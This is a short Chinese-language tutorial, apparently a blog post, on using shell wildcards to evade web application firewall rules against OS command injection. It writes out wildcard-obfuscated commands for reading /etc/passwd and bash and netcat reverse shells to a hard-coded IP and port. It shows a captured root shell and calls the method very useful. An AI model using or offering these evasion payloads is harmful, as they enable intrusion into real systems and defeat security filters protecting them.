一、通配符简介:
一般来讲,通配符包含*和?,都是英文符号,*用来匹配任意个任意字符,?用来匹配一个任意字符。
举个例子使用通配符查看文件,可以很名下看到打卡的文件是/etc/resolv.conf:
1 └─[$]> sudo head -5 /???/r????v.c??f 2 # 3 # macOS Notice 4 # 5 # This file is not consulted for DNS hostname resolution, address 6 # resolution, or the DNS query routing mechanism used by most
同理,删除文件的时候,如果删除所有a开头的文件:
1 rm -f a*
以上大概简要说明了什么是通配符
二、支持通配符的shell
从上文中可以看出Linux、Unix类操作系统命令行对于参数或者命令的值是支持通配符的,name命令本身是否支持通配符呢?
1 └─[$]> sudo /???/c?t /???/r????v.?o?f 2 # 3 # macOS Notice 4 # 5 # This file is not consulted for DNS hostname resolution, address 6 # resolution, or the DNS query routing mechanism used by most 7 # processes on this system. 8 # 9 # To view the DNS configuration used by this system, use: 10 # scutil --dns 11 # 12 # SEE ALSO 13 # dns-sd(1), scutil(8) 14 # 15 # This file is automatically generated. 16 #
可以看出来,命令部分识别/???/c?t => /bin/cat
三、WAF规则集:
WAF对于payload部分的检测和响应(放行还是阻断)基于WAF引擎的固有的一套规则
例如对于OS Command Injection的payload过滤:
rule1 -> 过滤 | (%7c)字符 &的URL编码%26 甚至/(%2f)等等,过滤反引号``
rule2 -> 过滤命令关键字等等
rule3 -> 正则表达式匹配
四、绕WAF
1、发现/etc/passwd ->会报警,/???/p????d则不会,因为匹配的正则很可能这么写的匹配/[\w]{1,}/[\w]{1,} 对于rule3
2、举一个反弹shell的bash简单命令,这个对于rule2比较合适
//正常的反弹shell的命令 #bash -i >& /dev/tcp/192.168.1.102/4444 0>&1 #/???/b??h -i >& /dev/tcp/192.168.1.102/4444 0>&1 可以成功
在测试一个使用nc直接反弹的例子:
1 #正常情况下: 2 nc -e /bin/bash 192.168.1.101 4444 3 nv -p 4444 -l -v
可以转换成:
1 /???/nc -e /???/b??h 192.168.1.101 4444 2 # 我这里/bin下有个nl命令,所以n?打不出来,否则可以用n?来替换nc,且ip地址可以转换成为长整数
结果
1 [********@***]# nc -p 4444 -l -v 2 Ncat: Version 6.40 ( http://nmap.org/ncat ) 3 Ncat: Listening on :::4444 4 Ncat: Listening on 0.0.0.0:4444 5 Ncat: Connection from ******. 6 Ncat: Connection from ******:43568. 7 whoami 8 root
搞定了
综上,这个办法还是很有用的。